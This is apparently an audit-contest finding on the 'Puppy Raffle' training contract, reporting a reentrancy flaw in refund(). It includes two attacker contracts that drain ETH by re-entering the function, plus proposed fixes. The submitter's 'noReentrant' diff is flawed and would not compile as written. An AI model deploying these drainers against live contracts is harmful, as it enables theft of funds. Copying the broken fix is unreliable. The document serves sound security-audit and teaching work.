Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() function

Root + Impact

The refund() function has a reentrancy vulnerability. This function can be reentered leading to the loss of all the funds of the smart contract.

Description

When a user ask for a refund, the refund is executed before changing the state : players[playerIndex] = address(0);
The problem is that if the user is a smart contract, when receiving the refund (in ETH) it can trigger a re-enter to the function refund and since players[playerIndex] is not set to address(0) yet, then another refund will take place, and so on until all the funds are drained by the attacker.

/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
function refund(uint256 playerIndex) public { //<@ lack of noReentrant modifier
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); //<@ this can trigger a re-entrancy
players[playerIndex] = address(0); //<@ should be placed before refunding msg.sender
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

Easy to trigger a reentrancy to drain the smart contract of its funds.

Impact: High

Loosing all the funds of the smart contract. Huge loss for the protocol and the users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./IPuppyRaffle.sol";
contract ReentrancyAttacker {
IPuppyRaffle public raffle;
uint256 public playerIndex;
uint256 public attackCount;
uint256 public maxReentries = 3;
constructor(address _raffle) {
raffle = IPuppyRaffle(_raffle);
}
// attack
function attack(uint256 _playerIndex) external {
playerIndex = _playerIndex;
attackCount = 0;
// first legitimate call
raffle.refund(playerIndex);
}
// Received when sendValue()
receive() external payable {
if (attackCount < maxReentries) {
attackCount++;
raffle.refund(playerIndex);
}
}
// Get back the funds
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}

Recommended Mitigation

Add a noReentrant modifier to the refund() function to avoid reentrancy attack :

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public noReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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